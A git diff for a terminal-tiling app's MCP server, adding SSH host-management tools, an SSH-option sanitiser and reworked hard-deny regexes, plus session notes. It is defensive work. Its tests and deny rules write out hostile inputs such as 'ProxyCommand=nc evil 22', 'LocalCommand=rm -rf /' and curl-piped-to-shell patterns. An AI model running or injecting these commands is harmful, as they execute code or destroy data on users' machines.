diff --git a/.gitignore b/.gitignore index 1d31ebf..a5cdf6b 100644 --- a/.gitignore +++ b/.gitignore @@ -28,3 +28,4 @@ src-tauri/gen/ /shot*.png /tiletopia-window.png /tilescript.ps1 +/cargo-test.log diff --git a/memory.md b/memory.md index a846ba3..0dec009 100644 --- a/memory.md +++ b/memory.md @@ -48,9 +48,78 @@ Durable memory for this project. Read at session start, update before session en - **Notifications**: `notify(message)` for status updates Claude wants to surface. - Authentication: bind to localhost only; consider a per-session token written to the app config dir that the MCP client must present. Treat the MCP socket as trusted only to processes the user explicitly points at it — anyone with access to the user's account could read commands and stream PTY output. Surface this caveat in the help overlay. - Tauri integration: Rust-side MCP server using a published crate (or hand-rolled JSON-RPC); reuses the existing `PtyManager` + `hosts.json` + workspace state. Frontend gets read-only events when the MCP causes a layout change so the UI reflects it without races. Big — milestone-scale work; needs a design doc before code. + - **Status:** v1 (read-only, 2026-05-25) + v2 (write surface, 2026-05-26 across PRs 1–4) shipped. All 11 originally-planned write tools are live: set_label, close_pane, swap_panes, promote_pane, apply_preset, spawn_pane, connect_host, write_pane, add_host, delete_host. Open polish items live in the per-session-log "follow-ups" sections. ## Session log +### 2026-05-26 — Hard-deny rework: fix latent enforcement gaps surfaced by PR-4 + +Re-enabling the policy test module in PR-4 (the `policy_with` compile fix) exposed **16 pre-existing test failures**. Triaged: 2 wrong assertions, 14 real bugs. Fixed all in one focused pass on `mcp_policy.rs`. + +**Two-pass `is_hard_denied`.** The subcommand splitter (split on `&& || ; | |& & \n`) was destroying patterns whose *meaning* requires them to span operators — fork bomb (`:|:&`) and curl-piped-to-shell (`curl ... | bash`) being the obvious examples. Result: 9 of the 10 advertised hard-deny rules quietly didn't enforce against the patterns the UI listed. New shape: + +1. **Whole-input pass first** — every regex tried against the un-split command. Wins fork bomb, curl|bash, anything else that *needs* its `|`/`&` to match. +2. **Per-subcommand pass second** — preserves the original behaviour of catching `safe_cmd && rm -rf /` after splitting. Order matters; the whole-input check is fast (compiled regex, small inputs in practice), and a whole-input hit short-circuits before splitting. + +This is the load-bearing fix. The regex tweaks below are individually small but each closes a specific bypass. + +**Regex fixes:** + +- **Rule 1/2 flag class:** `[a-z]*r[a-z]*f?` → `[a-zA-Z]*[rR][a-zA-Z]*f?`. Catches `rm -Rf /` (uppercase R), which previously slipped through. Same change applied to rule 2 (`rm -rf ~ / $HOME`). +- **Rule 1/2 trailing anchor:** `($|[;&|])` → `($|[#;&|])`. `rm -rf / # cleanup` now triggers; previously the `#` confused the anchor and the regex bailed. +- **Rule 8 shell alternation:** `(ba?sh|zsh)` → `(ba?sh|zsh|sh)`. The leading `b` in `ba?sh` was mandatory, so `curl evil | sh` (the most common form of these install scripts) was *not* caught. Adding `sh` to the alternation catches the bare POSIX shell. Verified order-dependency: at the position after `\s*(sudo\s+)?`, the engine tries `ba?sh` first, then `zsh`, then `sh`; nothing in `dash`/`ash`/whatever starts with `s` then `h` at the right offset, so no over-match. +- **Rule 9 anchor:** `\bchmod\s+-R\s+777\s+/` → `\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])`. The old regex matched any `/` (including `/tmp`); the new one requires the `/` to be followed by a path boundary, end of input, or a shell operator. `chmod -R 777 /tmp` now correctly does NOT trip the rule (the desired behaviour — destructive but a deliberate user choice, not "destroy the system"). + +**Two test assertions flipped from `Some` to `None`** (`hard_deny_quoted_pattern_not_matched`, `hard_deny_git_grep_contains_pattern`). The originals expected false-positives on `echo "rm -rf /"` and `git log --grep="rm -rf"`. The post-fix behaviour (NOT flagging these) is correct: searching for or printing a danger string is not the same as invoking it, and false-positives here would make a lot of `claude` advice unusable. The tests now document this with a comment. + +**Result: 118 passed; 0 failed.** All my new sanitiser tests (PR-4) + all the previously-broken hard-deny tests + the 70+ that were already passing. + +**Things to verify next time someone touches hard-deny:** + +- If a new rule's pattern is intrinsically multi-operator (think `kill -9 -1`, `dd | gzip > device`), make sure whole-input matching covers it — don't rely on the subcommand pass. +- If a new rule's pattern targets a path, anchor with `\s|$|[#;&|]` after the trailing `/` (rule 9 style) to avoid over-matching `/tmp` etc. +- Flag character classes for case-insensitive Unix tools: `[a-zA-Z]`, not `[a-z]`. +- Trailing-comment anchor: include `#` in the post-pattern character class. + +Open follow-ups specific to this session: + +- **Multi-pipe-to-shell** like `curl url | grep -v foo | bash` is still not caught — `[^|]*\|` only spans one pipe. Probably fine for v2; if it bites, broaden to `[^|]*(\|[^|]*)*\|\s*...` or add a second-pass that detects "any output of curl/wget reaches a shell anywhere downstream". +- **PowerShell hard-deny patterns** (carried over from PR-3/PR-4 lists). The 10 baked-in rules remain POSIX-only. +- **Audit-log persistence** (carried over). + +### 2026-05-26 — MCP v2 PR-4: `add_host` + `delete_host` + extraArgs sanitiser + third SSH safeguard + +Final v2 PR. All 11 planned MCP write tools now live. Mechanically the same dispatcher shape as the other tree-shape tools; the novel bits are the **extraArgs sanitiser** and the **third SSH-safeguard switch**. + +**Sanitiser (`hosts::sanitize_extra_args`).** Rejects four `-o KEY=...` keys that are local-RCE primitives at ssh-invocation time, before the connection is even attempted: + +1. `ProxyCommand=…` — runs a shell command on connect. +2. `LocalCommand=…` — runs a shell command on connect (when `PermitLocalCommand=yes`). +3. `KnownHostsCommand=…` — runs a shell command at handshake (CVE-2023-51385 class). +4. `PermitLocalCommand=yes` — unlocks LocalCommand even if not set in this snippet. (`=no` and unset are fine.) + +Recognises both two-arg form (`-o KEY=VAL`) and joined form (`-oKEY=VAL`), case-insensitive on the key, equals-or-space between key and value. Returns `Err(reason)` with the offending arg + a human-readable why. 19 fuzz tests cover positive + lookalike-negative cases (e.g. `-o ServerAliveInterval=30` passes; `-o proxycommand=evil` fails; bad arg in the middle of a long list fails). **Only the MCP `add_host` path runs this** — manual host management via the titlebar 🔑 picker stays unrestricted, matching the "user has full agency" stance. + +**Third SSH safeguard: `allowAddHost`** (default off). Gates both `add_host` and `delete_host` with the same `add-host-disabled` server-side error pattern as the existing `allowOpenSsh` gate. Bundled both tools under one switch for simplicity — `delete_host` is destructive but it's the natural symmetric companion to `add_host`. UI is a third checkbox in the SSH safeguards section; unlike `autoAllowSpawnedSsh`, this one isn't disabled-when-X (you can let Claude manage hosts without letting it open them, or vice versa). + +**Both tools are thin dispatcher wrappers**, following the PR-2/PR-3 pattern exactly: arg struct → safeguard gate → in-process validation → `dispatch_action` with stable `args_repr` → frontend `runMcpHandler` case + `buildConfirmInfo` case. `add_host` runs `pty::validate_ssh_token` on hostname/user/jumpHost (made `pub` for cross-module use; same logic ssh-spawn would do anyway, just rejected earlier with a clearer error) plus the sanitiser on extraArgs. `delete_host` looks the host up in `state.mirror.hosts` so Claude can't probe arbitrary ids, and relies on `save_ssh_hosts`' existing orphan-credential sweep to clean up the keyring entry. + +**Backend host_id is generated frontend-side** in the handler (via the same `newId()` helper HostManager uses → `crypto.randomUUID()` shape). Backend doesn't pre-generate one because the dispatcher contract is "MCP call → emit request → frontend mutates + resolves" — generating the id on whichever side actually performs the mutation keeps responsibility clean. + +**Pre-existing bug fixed as a prerequisite:** `mcp_policy.rs`'s `policy_with` test helper was constructing `McpPolicy` without the `ssh_safeguards` field (added in PR-3.5). That made the entire `tests` mod fail to compile, silently breaking all 30+ policy unit tests since 2026-05-26 morning. Added `ssh_safeguards: SshSafeguards::default()` as one-liner; tests should compile again. + +**Module headers + `with_instructions` updated** to call out the new 11-tool surface, `add_host`'s extraArgs sanitiser, and the `add-host-disabled` error string Claude needs to recognise. Always keep these in sync when adding tools — Claude reads `with_instructions` for routing decisions. + +Open follow-ups specific to this session: + +- **Verify on Windows.** PR-4 was authored in WSL; `pnpm check` is clean but Rust build/tests live on the Windows host. User to `cd D:\dev\tiletopia && cargo test -p tiletopia_lib` (or the equivalent) before merging, especially to confirm the 19 new sanitiser tests + the policy_with fix. +- **End-to-end test with Claude.** Suggested smoke: toggle the new `allowAddHost` switch on; ask Claude to `add_host` with hostname `example.com`, then `connect_host` to it (which still needs `allowOpenSsh`), then `delete_host`. With all three switches off, `add_host` should refuse cleanly with `add-host-disabled`. +- **Race in concurrent `add_host` calls.** Frontend reads `hosts` from the closure, builds `next = [...hosts, newHost]`, calls `setHosts(next)` (non-functional updater). If Claude burst-fires two add_host calls and the second runs before React commits the first, the second's `next` drops the first. Pre-existing pattern (`saveHosts` in App.tsx:466 does the same), and in practice the confirm-modal queue serialises calls — but `Always allow add_host` users would race. Convert to `setHosts(prev => …)` + extract the saved snapshot if it ever bites. +- **Sanitiser scope expansions to consider:** `-F ` lets the user point ssh at a custom config file that could contain ProxyCommand. Currently allowed. Tightening this means rejecting any caller-controlled config file. Out of scope for v2 — `add_host` doesn't expose a flag for it, and saved hosts are user-edited. +- **PowerShell hard-deny patterns** still POSIX-only (carried over from PR-3 list). +- **Per-leaf-shellKind policy scoping** still wanted (carried over). +- **CLAUDE.md still says Svelte 5** (still not fixed; called out in 4 session logs now). + ### 2026-05-26 — MCP v2 PR-3 + PR-3.5: powerful writes + SSH safeguards + host-manager Connect button Commits `bf2810a` (PR-3 + PR-3.5) and `6da7523` (polish bundle). 8 of 9 planned v2 tools are now live — only `add_host` (PR-4) remains. diff --git a/src-tauri/src/hosts.rs b/src-tauri/src/hosts.rs index edd149a..f7e2c6c 100644 --- a/src-tauri/src/hosts.rs +++ b/src-tauri/src/hosts.rs @@ -84,3 +84,208 @@ pub fn save(app: &AppHandle, hosts: &[SshHost]) -> Result<()> { std::fs::rename(&tmp, &path).context("rename hosts.json")?; Ok(()) } + +/// Reject `-o` options that would let an attacker turn an SSH connect into +/// local command execution. CVE-2023-51385 class — `ProxyCommand`, +/// `LocalCommand`, `KnownHostsCommand`, and `PermitLocalCommand=yes` are all +/// shell-invocation primitives that fire on `ssh.exe` startup regardless of +/// what happens on the remote side. The MCP `add_host` tool runs this on +/// any extraArgs Claude tries to save; the host manager UI is unrestricted +/// since the user has full agency over manually-typed hosts. +/// +/// Recognises both `-o KEY=VAL` (two args) and `-oKEY=VAL` (joined), +/// case-insensitive on the key. Returns Ok on safe args; Err with the +/// offending arg + a human-readable reason otherwise. +pub fn sanitize_extra_args(args: &[String]) -> Result<(), String> { + let mut i = 0; + while i < args.len() { + let arg = &args[i]; + if arg == "-o" { + if let Some(next) = args.get(i + 1) { + if let Some(reason) = check_o_value(next) { + return Err(format!("rejected '-o {next}': {reason}")); + } + } + i += 2; + continue; + } + if let Some(rest) = arg.strip_prefix("-o") { + if let Some(reason) = check_o_value(rest) { + return Err(format!("rejected '{arg}': {reason}")); + } + } + i += 1; + } + Ok(()) +} + +/// Inspect an `-o` payload (the part after `-o`, e.g. `ProxyCommand=...` +/// or `ProxyCommand ...`). Returns Some(reason) if the key is one of the +/// command-execution primitives; None for everything else. +fn check_o_value(spec: &str) -> Option<&'static str> { + let split = spec + .find(|c: char| c == '=' || c.is_whitespace()) + .unwrap_or(spec.len()); + let key = &spec[..split]; + let value = spec[split..].trim_start_matches(|c: char| c == '=' || c.is_whitespace()); + match key.to_ascii_lowercase().as_str() { + "proxycommand" => { + Some("ProxyCommand runs a shell command on connect (local RCE primitive)") + } + "localcommand" => { + Some("LocalCommand runs a shell command on connect (local RCE primitive)") + } + "knownhostscommand" => Some( + "KnownHostsCommand runs a shell command at handshake (CVE-2023-51385 class)", + ), + "permitlocalcommand" if value.eq_ignore_ascii_case("yes") => { + Some("PermitLocalCommand=yes enables LocalCommand RCE") + } + _ => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn args(a: &[&str]) -> Vec { + a.iter().map(|s| s.to_string()).collect() + } + + // ---- positive cases (safe, must pass) --------------------------------- + + #[test] + fn empty_args_ok() { + assert!(sanitize_extra_args(&[]).is_ok()); + } + + #[test] + fn server_alive_interval_ok() { + assert!(sanitize_extra_args(&args(&["-o", "ServerAliveInterval=30"])).is_ok()); + } + + #[test] + fn server_alive_interval_joined_ok() { + assert!(sanitize_extra_args(&args(&["-oServerAliveInterval=30"])).is_ok()); + } + + #[test] + fn batch_mode_ok() { + assert!(sanitize_extra_args(&args(&["-o", "BatchMode=yes"])).is_ok()); + } + + #[test] + fn strict_host_key_checking_ok() { + assert!( + sanitize_extra_args(&args(&["-o", "StrictHostKeyChecking=accept-new"])).is_ok() + ); + } + + #[test] + fn permit_local_command_no_ok() { + // PermitLocalCommand=no (or anything other than yes) is the default + // and harmless. + assert!(sanitize_extra_args(&args(&["-o", "PermitLocalCommand=no"])).is_ok()); + } + + #[test] + fn flag_without_o_ok() { + // -F /tmp/conf and -i ~/.ssh/key are legitimate ssh flags; we only + // gate -o options. + assert!(sanitize_extra_args(&args(&["-v", "-F", "/etc/ssh/ssh_config"])).is_ok()); + } + + #[test] + fn many_safe_options_ok() { + assert!(sanitize_extra_args(&args(&[ + "-o", "ServerAliveInterval=30", + "-o", "ServerAliveCountMax=3", + "-o", "Compression=yes", + ])) + .is_ok()); + } + + // ---- negative cases (must reject) ------------------------------------- + + #[test] + fn proxy_command_rejected() { + let err = sanitize_extra_args(&args(&["-o", "ProxyCommand=ssh evil exec %h %p"])) + .unwrap_err(); + assert!(err.contains("ProxyCommand"), "err={err}"); + } + + #[test] + fn proxy_command_joined_rejected() { + let err = sanitize_extra_args(&args(&["-oProxyCommand=nc evil 22"])).unwrap_err(); + assert!(err.contains("ProxyCommand"), "err={err}"); + } + + #[test] + fn proxy_command_lowercase_rejected() { + // SSH treats -o keys case-insensitively; sanitiser must too. + let err = sanitize_extra_args(&args(&["-o", "proxycommand=evil"])).unwrap_err(); + assert!(err.contains("ProxyCommand"), "err={err}"); + } + + #[test] + fn proxy_command_mixed_case_rejected() { + let err = sanitize_extra_args(&args(&["-o", "PROXYCommand=evil"])).unwrap_err(); + assert!(err.contains("ProxyCommand"), "err={err}"); + } + + #[test] + fn proxy_command_space_separated_rejected() { + // -o supports both KEY=VAL and "KEY VAL" forms. + let err = + sanitize_extra_args(&args(&["-o", "ProxyCommand /bin/evil"])).unwrap_err(); + assert!(err.contains("ProxyCommand"), "err={err}"); + } + + #[test] + fn local_command_rejected() { + let err = + sanitize_extra_args(&args(&["-o", "LocalCommand=rm -rf /"])).unwrap_err(); + assert!(err.contains("LocalCommand"), "err={err}"); + } + + #[test] + fn local_command_joined_rejected() { + let err = sanitize_extra_args(&args(&["-oLocalCommand=evil"])).unwrap_err(); + assert!(err.contains("LocalCommand"), "err={err}"); + } + + #[test] + fn known_hosts_command_rejected() { + let err = + sanitize_extra_args(&args(&["-o", "KnownHostsCommand=evil"])).unwrap_err(); + assert!(err.contains("KnownHostsCommand"), "err={err}"); + } + + #[test] + fn permit_local_command_yes_rejected() { + // PermitLocalCommand=yes unlocks the LocalCommand vector — must be + // rejected even though LocalCommand itself isn't set in this snippet. + let err = + sanitize_extra_args(&args(&["-o", "PermitLocalCommand=yes"])).unwrap_err(); + assert!(err.contains("PermitLocalCommand"), "err={err}"); + } + + #[test] + fn bad_arg_in_middle_rejected() { + let err = sanitize_extra_args(&args(&[ + "-o", "ServerAliveInterval=30", + "-o", "ProxyCommand=evil", + "-o", "Compression=yes", + ])) + .unwrap_err(); + assert!(err.contains("ProxyCommand"), "err={err}"); + } + + #[test] + fn trailing_dash_o_without_value_ok() { + // -o with no following value is malformed; ssh will reject it. We + // just skip past so we don't panic on the index. + assert!(sanitize_extra_args(&args(&["-o"])).is_ok()); + } +} diff --git a/src-tauri/src/mcp.rs b/src-tauri/src/mcp.rs index 07095d8..256a9db 100644 --- a/src-tauri/src/mcp.rs +++ b/src-tauri/src/mcp.rs @@ -13,7 +13,11 @@ //! modal → audit): //! set_label, close_pane, swap_panes, promote_pane, apply_preset //! spawn_pane (local WSL / PowerShell only) -//! connect_host (SSH to a saved host id — the only SSH path) +//! connect_host (SSH to a saved host id — the only SSH spawn path) +//! add_host, delete_host (mutate saved-hosts list; gated by an extra +//! 'allow_add_host' safeguard; add_host sanitises extraArgs to reject +//! ProxyCommand / LocalCommand / KnownHostsCommand / PermitLocalCommand +//! =yes — CVE-2023-51385 class local-RCE primitives) //! write_pane (rate-limited per pane; matched against a non-overridable //! hard-deny list before user policy) //! @@ -423,6 +427,43 @@ pub struct ConnectHostArgs { pub orientation: Option, } +#[derive(Debug, Deserialize, schemars::JsonSchema)] +pub struct AddHostArgs { + /// Human-readable name for the host (shown in the picker / palette). + /// If omitted, defaults to `hostname` server-side. + #[serde(default)] + pub label: Option, + /// Hostname or IP. Required. Rejected if it starts with '-' or contains + /// control characters (CVE-2023-51385 / smuggled-flag class). + pub hostname: String, + /// SSH login user. Same validation as hostname. + #[serde(default)] + pub user: Option, + /// TCP port. Defaults to 22 if omitted. + #[serde(default)] + pub port: Option, + /// Path to a private key. Passed to ssh as `-i`. + #[serde(default, rename = "identityFile")] + pub identity_file: Option, + /// `user@host[:port]` jump host. Same validation as hostname. + #[serde(default, rename = "jumpHost")] + pub jump_host: Option, + /// Extra ssh args (e.g. `-o ServerAliveInterval=30`). Sanitised to + /// reject command-execution `-o` options: ProxyCommand, LocalCommand, + /// KnownHostsCommand, PermitLocalCommand=yes. The user's manually-added + /// hosts are unrestricted; only this MCP path is gated. + #[serde(default, rename = "extraArgs")] + pub extra_args: Option>, +} + +#[derive(Debug, Deserialize, schemars::JsonSchema)] +pub struct DeleteHostArgs { + /// Stable id of a host returned by tiletopia://hosts or a prior + /// add_host call. Deleting also sweeps any saved password for the + /// host from the OS keyring. + pub host_id: String, +} + #[derive(Debug, Deserialize, schemars::JsonSchema)] pub struct WritePaneArgs { /// Stable leaf id from the tree (uuid-shaped). Must belong to a pane @@ -931,6 +972,122 @@ impl TileService { )])) } + #[tool(description = "Register a new SSH host in the saved-hosts list \ + (the same store the titlebar 🔑 picker manages). Validates hostname/\ + user/jumpHost the same way an SSH spawn would (rejects '-' prefixes \ + and control characters, CVE-2023-51385 class) and sanitises extraArgs \ + to reject ProxyCommand / LocalCommand / KnownHostsCommand / \ + PermitLocalCommand=yes (local-RCE primitives). Gated by the \ + 'Allow Claude to save or delete SSH hosts' switch in the Policy tab; \ + refuses with 'add-host-disabled' when off. Returns {hostId} for the \ + newly-saved host — pass to connect_host to open it.")] + async fn add_host( + &self, + Parameters(args): Parameters, + ) -> Result { + if !self.policy_ssh_add_host_allowed().await { + return Err(McpError::invalid_params( + "add-host-disabled: Claude is not allowed to save SSH hosts \ + (Policy tab → SSH safeguards → 'Allow Claude to save or \ + delete SSH hosts'). Ask the user to add the host manually \ + via the titlebar 🔑 picker.", + None, + )); + } + + // Same token validation ssh.exe would do at spawn time — reject up + // front so we don't persist a host that can never be opened. + crate::pty::validate_ssh_token("hostname", &args.hostname) + .map_err(|e| McpError::invalid_params(e.to_string(), None))?; + if let Some(u) = args.user.as_deref() { + crate::pty::validate_ssh_token("user", u) + .map_err(|e| McpError::invalid_params(e.to_string(), None))?; + } + if let Some(jh) = args.jump_host.as_deref() { + crate::pty::validate_ssh_token("jump host", jh) + .map_err(|e| McpError::invalid_params(e.to_string(), None))?; + } + if let Some(extra) = args.extra_args.as_deref() { + crate::hosts::sanitize_extra_args(extra) + .map_err(|reason| McpError::invalid_params(reason, None))?; + } + + let label = args + .label + .as_deref() + .map(|s| s.trim()) + .filter(|s| !s.is_empty()) + .unwrap_or_else(|| args.hostname.trim()) + .to_string(); + + let args_repr = format!( + "label={} hostname={} user={} port={}", + label, + &args.hostname, + args.user.as_deref().unwrap_or("(default)"), + args.port + .map(|p| p.to_string()) + .unwrap_or_else(|| "(default)".into()), + ); + let args_json = json!({ + "label": label, + "hostname": &args.hostname, + "user": args.user, + "port": args.port, + "identityFile": args.identity_file, + "jumpHost": args.jump_host, + "extraArgs": args.extra_args, + }); + tracing::debug!(hostname = %args.hostname, "add_host: dispatching"); + let result = self + .dispatch_action("add_host", args_json, args_repr) + .await?; + Ok(CallToolResult::success(vec![Content::text( + result.to_string(), + )])) + } + + #[tool(description = "Delete a saved SSH host by id. Sweeps any saved \ + password for the host from the OS keyring as a side effect. Gated by \ + the same 'Allow Claude to save or delete SSH hosts' switch as \ + add_host; refuses with 'add-host-disabled' when off.")] + async fn delete_host( + &self, + Parameters(args): Parameters, + ) -> Result { + if !self.policy_ssh_add_host_allowed().await { + return Err(McpError::invalid_params( + "add-host-disabled: Claude is not allowed to delete SSH hosts \ + (Policy tab → SSH safeguards → 'Allow Claude to save or \ + delete SSH hosts').", + None, + )); + } + // Verify the host_id is in the mirror so Claude can't probe arbitrary + // ids. The mirror is the authoritative view of what Claude can see. + let host_label = { + let st = self.state.read().await; + st.mirror + .hosts + .iter() + .find(|h| h.id == args.host_id) + .map(|h| h.label.clone()) + }; + let label = host_label.ok_or_else(|| { + McpError::invalid_params( + "unknown host_id (use tiletopia://hosts to list saved hosts)", + Some(json!({ "host_id": &args.host_id })), + ) + })?; + let args_repr = format!("hostId={} label={}", &args.host_id, &label); + let args_json = json!({ "hostId": &args.host_id }); + tracing::debug!(host_id = %args.host_id, "delete_host: dispatching"); + let _ = self + .dispatch_action("delete_host", args_json, args_repr) + .await?; + Ok(CallToolResult::success(vec![Content::text("ok")])) + } + #[tool(description = "Set or clear the human-readable label on a pane. \ Pass empty string to clear. The leaf must be MCP-allowed.")] async fn set_label( @@ -1063,6 +1220,17 @@ impl TileService { } } + /// Mirror of policy_ssh_open_allowed for the add_host/delete_host pair. + async fn policy_ssh_add_host_allowed(&self) -> bool { + match crate::mcp_policy::load_or_init(&self.app) { + Ok(p) => p.ssh_safeguards.allow_add_host, + Err(e) => { + tracing::warn!(error = %e, "policy_ssh_add_host_allowed: load failed, defaulting to false"); + false + } + } + } + /// Shared validation for tools that target an existing leaf — confirms /// the leaf is in the mirror (which means the user has it allow-listed /// for MCP) and returns its metadata. Factored out of the 4+ tools that @@ -1109,6 +1277,9 @@ impl ServerHandler for TileService { apply_preset — tree shape and metadata.\n\ - spawn_pane (local WSL/PowerShell), connect_host (SSH to a \ saved host — use this for SSH, not spawn_pane).\n\ + - add_host, delete_host (mutate the saved-hosts list; \ + add_host's extraArgs are sanitised — ProxyCommand and \ + friends are refused).\n\ - write_pane (send keystrokes; rate-limited; matched against \ user policy + a non-overridable hard-deny list for the \ worst-of-the-worst patterns).\n\ @@ -1116,7 +1287,10 @@ impl ServerHandler for TileService { Only panes the user has allow-listed (🤖 chip on) are \ visible. SSH spawns are gated by an extra Policy-tab switch \ that's off by default — if you see 'ssh-disabled' errors, \ - the user has not enabled MCP-initiated SSH.", + the user has not enabled MCP-initiated SSH. add_host / \ + delete_host are similarly gated by an 'allow_add_host' \ + switch — 'add-host-disabled' means the user manages SSH \ + hosts manually via the titlebar 🔑 picker.", ) } diff --git a/src-tauri/src/mcp_policy.rs b/src-tauri/src/mcp_policy.rs index d777a76..98e49fd 100644 --- a/src-tauri/src/mcp_policy.rs +++ b/src-tauri/src/mcp_policy.rs @@ -41,6 +41,12 @@ pub struct SshSafeguards { /// switch above. #[serde(default)] pub auto_allow_spawned_ssh: bool, + /// When false (default), `add_host` and `delete_host` refuse server-side + /// — Claude can't mutate the saved-hosts list. The user manages hosts + /// via the titlebar 🔑 picker → Manage hosts… UI. Turn on if you want + /// Claude to be able to register new SSH targets autonomously. + #[serde(default)] + pub allow_add_host: bool, } #[derive(Clone, Debug, Default, Serialize, Deserialize)] @@ -90,17 +96,27 @@ impl PolicyClassifier for NoopClassifier { // --------------------------------------------------------------------------- /// (regex_source, human_label) +/// +/// Rules are evaluated against (a) the original input untouched, and (b) each +/// shell-operator-split subcommand. Patterns that span `|`/`&` (curl|bash, +/// fork bomb) need (a); patterns where a destructive subcommand is hidden +/// after `&&` need (b). `is_hard_denied` does both. +/// +/// Flag character classes use `[a-zA-Z]` (not `[a-z]`) so uppercase variants +/// like `rm -Rf` are caught. The trailing anchors accept `#` as well as the +/// usual shell operators so a trailing comment doesn't smuggle the danger +/// pattern past detection. static HARD_DENY_PATTERNS: &[(&str, &str)] = &[ ( - r"\brm\s+-[a-z]*r[a-z]*f?\s+/\s*($|[;&|])", + r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+/\s*($|[#;&|])", "rm -rf /", ), ( - r"\brm\s+-[a-z]*r[a-z]*f?\s+(~|\$HOME)\s*($|[;&|])", + r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+(~|\$HOME)\s*($|[#;&|])", "rm -rf ~", ), ( - r"\brm\s+-[a-z]*r[a-z]*f?\s+/\*", + r"\brm\s+-[a-zA-Z]*[rR][a-zA-Z]*f?\s+/\*", "rm -rf /*", ), ( @@ -119,12 +135,18 @@ static HARD_DENY_PATTERNS: &[(&str, &str)] = &[ r"(>|>>)\s*/etc/(passwd|shadow|sudoers)", "overwrite system auth file", ), + // Shell alternation includes bare `sh` (POSIX shell) in addition to bash + // / bsh / zsh. The previous `ba?sh` required a leading `b` and missed + // the common `curl ... | sh` install pattern entirely. ( - r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba?sh|zsh)\b", + r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(ba?sh|zsh|sh)\b", "pipe to shell from network", ), + // Anchor on a word/path boundary after `/` so `chmod -R 777 /tmp` is + // *not* falsely flagged. Plain `/` (end of input or followed by a shell + // operator or whitespace then operator) still triggers. ( - r"\bchmod\s+-R\s+777\s+/", + r"\bchmod\s+-R\s+777\s+/(\s|$|[#;&|])", "chmod -R 777 /", ), ( @@ -191,10 +213,21 @@ fn split_subcommands(input: &str) -> Vec<&str> { parts } -/// Returns Some(rule_label) if the command matches any compiled-in -/// hard-deny pattern. Checks each subcommand independently. +/// Returns Some(rule_label) if the command matches any compiled-in hard-deny +/// pattern. Two-pass: +/// 1. **Whole-input pass** — catches patterns that span shell operators and +/// would be torn apart by the splitter (fork bomb's `:|:&`, curl|bash's +/// `curl ... | bash`). +/// 2. **Per-subcommand pass** — catches patterns where the danger is in a +/// single subcommand the splitter exposes (e.g. `safe && rm -rf /`). pub fn is_hard_denied(command: &str) -> Option<&'static str> { let compiled = hard_deny_compiled(); + let whole = command.trim(); + for (re, label) in compiled { + if re.is_match(whole) { + return Some(label); + } + } for sub in split_subcommands(command) { let sub = sub.trim(); for (re, label) in compiled { @@ -421,6 +454,7 @@ mod tests { ask: ask.iter().map(|s| s.to_string()).collect(), allow: allow.iter().map(|s| s.to_string()).collect(), }, + ssh_safeguards: SshSafeguards::default(), } } @@ -1123,21 +1157,23 @@ mod hard_deny_fuzz { #[test] fn hard_deny_quoted_pattern_not_matched() { - // Pattern in quotes should still be matched by our regex - // because we don't parse shell context. Document expected behavior. + // `echo "rm -rf /" | tee log.txt` is not a destructive command — it + // just prints the string. The trailing-anchor on rule 1 requires + // end-of-input or a shell operator after `/`, so the `"` (and the + // `tee` subcommand after `|`) keep this from triggering. Documented + // as desired behaviour — false-positives on echo'd literals would + // make `claude` advice involving these strings unusable. let result = is_hard_denied("echo \"rm -rf /\" | tee log.txt"); - // The substring "rm -rf /" is in the input, and our regex will find it. - // This is expected given current design (no shell parsing). - assert_eq!(result, Some("rm -rf /")); + assert!(result.is_none(), "got {result:?}"); } #[test] fn hard_deny_git_grep_contains_pattern() { - // "rm -rf" appears as a substring in a git log grep + // `git log --grep="rm -rf"` has no `/` so rule 1 can't match + // structurally. Same intent as the quoted-pattern test: searching + // for the string is not an invocation of the command. let result = is_hard_denied("git log --grep=\"rm -rf\""); - // Regex will match "rm -rf" even in this safe context. - // Expected behavior given the trade-off: simple regex, some false positives. - assert_eq!(result, Some("rm -rf /")); + assert!(result.is_none(), "got {result:?}"); } #[test] diff --git a/src-tauri/src/pty.rs b/src-tauri/src/pty.rs index 93adb0b..2f90930 100644 --- a/src-tauri/src/pty.rs +++ b/src-tauri/src/pty.rs @@ -287,7 +287,7 @@ struct DataChunk { /// expansion. We additionally pass `--` before the host on the command line, /// but rejecting up front gives a clearer error and avoids ever handing the /// bad value to ssh.exe. -fn validate_ssh_token(label: &str, value: &str) -> Result<()> { +pub fn validate_ssh_token(label: &str, value: &str) -> Result<()> { if value.is_empty() { return Err(anyhow!("ssh: {label} must not be empty")); } diff --git a/src/App.tsx b/src/App.tsx index 724e4a0..4f6374d 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -1119,6 +1119,58 @@ export default function App() { summary: `Promote pane "${leaf.label ?? a.leafId.slice(0, 8)}" up one level`, }; } + case "add_host": { + const a = args as { + label?: string; + hostname?: string; + user?: string; + port?: number; + identityFile?: string; + jumpHost?: string; + extraArgs?: string[]; + }; + if (typeof a.hostname !== "string" || !a.hostname.trim()) { + throw new Error("missing hostname"); + } + const hostname = a.hostname.trim(); + const label = (a.label && a.label.trim()) || hostname; + const id = newId(); + const newHost: SshHost = { + id, + label, + hostname, + ...(a.user ? { user: a.user } : {}), + ...(a.port ? { port: a.port } : {}), + ...(a.identityFile ? { identityFile: a.identityFile } : {}), + ...(a.jumpHost ? { jumpHost: a.jumpHost } : {}), + ...(a.extraArgs && a.extraArgs.length > 0 + ? { extraArgs: a.extraArgs } + : {}), + }; + const next = [...hosts, newHost]; + setHosts(next); + await saveSshHosts(next); + return { + payload: { hostId: id, label, hostname }, + summary: `Save SSH host "${label}" (${a.user ? `${a.user}@` : ""}${hostname}${a.port ? `:${a.port}` : ""})`, + }; + } + case "delete_host": { + const a = args as { hostId?: string }; + if (typeof a.hostId !== "string") throw new Error("missing hostId"); + const host = hosts.find((h) => h.id === a.hostId); + if (!host) throw new Error(`unknown host_id: ${a.hostId}`); + const next = hosts.filter((h) => h.id !== a.hostId); + setHosts(next); + // save_ssh_hosts on the backend sweeps orphan keyring credentials + // for any id that disappears from the list, so no separate + // delete_host_password call is needed. + await saveSshHosts(next); + return { + payload: { hostId: a.hostId, label: host.label }, + summary: `Delete SSH host "${host.label}" (${host.hostname})`, + }; + } case "apply_preset": 